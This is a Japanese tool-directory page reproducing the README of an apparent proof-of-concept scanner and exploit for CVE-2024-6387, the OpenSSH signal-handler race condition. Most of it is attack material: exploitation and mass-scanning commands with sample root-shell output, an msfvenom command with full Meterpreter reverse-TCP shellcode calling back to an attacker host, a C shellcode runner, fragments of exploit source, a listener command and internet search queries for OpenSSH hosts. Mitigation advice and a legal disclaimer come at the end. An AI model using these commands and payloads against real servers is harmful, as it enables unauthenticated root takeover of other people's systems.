Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6387 — PoC - OpenSSHサーバーにおけるリモート未認証コード実行の脆弱性(スキャナおよびエクスプロイト) | Kitploit
ツール/GitHubGitHub/l0n3m4n/cve-2024-6387
偵察脆弱性分析エクスプロイトシェルコードネットワークセキュリティペネトレーションテストレッドチーミングリモートアクセスツールペイロード開発
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - OpenSSHサーバーにおけるリモート未認証コード実行の脆弱性(スキャナおよびエクスプロイト)

リポジトリを見る
1133982年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

openssh CVE-2024-6387 - PoC

📜 説明

注記: このスクリプトはクイックプロトタイプ版のPoCです。エラーやバグが発生する可能性があります。 テスト済み: Kali Linux、ParrotSec、Ubuntu 22.04

OpenSSHサーバーにおける認証なしリモートコード実行の脆弱性

OpenSSHサーバー(sshd)にシグナルハンドラの競合状態が発見されました。クライアントがLoginGraceTime秒(デフォルトでは120秒、古いOpenSSHバージョンでは600秒)以内に認証しない場合、sshdのSIGALRMハンドラが非同期に呼び出されます。しかし、このシグナルハンドラは、syslog()などasync-signal-safeではないさまざまな関数を呼び出します。

📁 目次

  • 📖 詳細
  • ⚙️ 使用方法
  • 🔍 ホストの発見
  • 🛠️ 緩和策
  • 💁 参考情報
  • 📌 作者
  • 📢 免責事項

✍🏻 詳細

技術的な詳細はこちらをご覧ください。

この欠陥は、Qualysの研究者によってMay 2024に発見され、識別子CVE-2024-6387が割り当てられました。sshdのシグナルハンドラの競合状態に起因するこの欠陥により、認証されていないリモートの攻撃者がrootとして任意のコードを実行できます。

「クライアントがLoginGraceTime秒(デフォルトでは120秒)以内に認証しない場合、sshdのSIGALRMハンドラが非同期に呼び出され、async-signal-safeではないさまざまな関数を呼び出します。」

「リモートの認証されていない攻撃者は、この欠陥を利用してroot権限で任意のコードを実行できます。」

⚙️ 使用方法

OpenSSHサーバーのスキャン

必要条件: 最新のpython3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

エクスポート (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

複数ターゲット

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

タイムアウトの追加

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

ネットワーク範囲

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

カスタムポート

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

権限昇格プロセス

リバースシェルの取得

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

カスタムペイロード

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

実際のペイロード

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

ペイロードのコンパイルと起動

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

ペイロードの実行

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

ペイロードの受信

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 ホストの発見

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ 緩和策

  • パッチ管理: OpenSSHに利用可能なパッチを迅速に適用することは、脆弱性のギャップを埋める上で極めて重要です。タイムリーなパッチ適用により、既知のエクスプロイトがシステムに対して悪用されることを防ぎ、攻撃者の機会の窓を減らします。

  • アクセス制御の強化: ネットワークベースの制御を通じてSSHアクセスを制限することで、防御の層を追加します。このアプローチは、SSH接続を許可されたネットワークまたはIPアドレスのみに制限することで、潜在的な攻撃者への露出を最小限に抑えます。ファイアウォールルールなどのツールを実装したり、VPNを使用して安全にアクセスすることで、これらの制限を効果的に適用できます。

  • ネットワークセグメンテーション: ネットワークをセグメントに分割することで、潜在的な侵害の影響を封じ込めることができます。重要なシステムと機密データを、ネットワークの重要度の低い部分から分離することで、攻撃者による横方向の移動のリスクを軽減できます。このセグメント化は、厳格なアクセス制御と監視を組み合わせることで、これらのセグメントへの不正な侵入試行を検出して対応できます。

  • 侵入検知システム(IDS): IDSまたは侵入防止システム(IPS)を導入することで、ネットワークトラフィックとシステムログをリアルタイムに監視できます。これらのシステムは、regreSSHionの脆弱性に関連する不審なアクティビティや潜在的な悪用の試みを検出できます。これらのシステムによってトリガーされるアラートにより、重大な被害が発生する前に迅速な調査と緩和が可能になります。

  • 悪用試行の監視: ネットワークとシステムログの継続的な監視が不可欠です。OpenSSHの脆弱性を悪用しようとする試みを示す可能性のある、異常なパターンやアクティビティを探してください。この積極的なアプローチは、脅威が被害を引き起こす前に、脅威を特定して対応するのに役立ちます。

💁 参考情報

  • 原作者: CVE-2024-6387 Scanner
  • 原作者: CVE-2024-6387 PoC

その他の参考情報

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 作者

  • Facebook
  • Twitter (X)
  • Medium
  • ウェブサイト

📢 免責事項

  • 重要な注意事項:
    • このツールは、許可されたペネトレーションテストおよびレッドチーム演習のみを目的として開発・使用されています。glibcベースのLinuxシステム上のOpenSSHサーバーの脆弱性を特定し、悪用するために設計されています。このツールの不正使用は固く禁止されています。このツールの所有者は、不正アクセスや悪意のある使用について一切の責任を負いません。
  • 法的通知:
    • それぞれの所有者から明示的な許可を得ずに、このツールをシステムやネットワークに対して不正に使用すると、適用される法律や規制に違反する可能性があります。ユーザーは、サイバーセキュリティのテストと評価を管理する法的・倫理的基準への準拠を確保する責任があります。
ツールをダウンロード
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/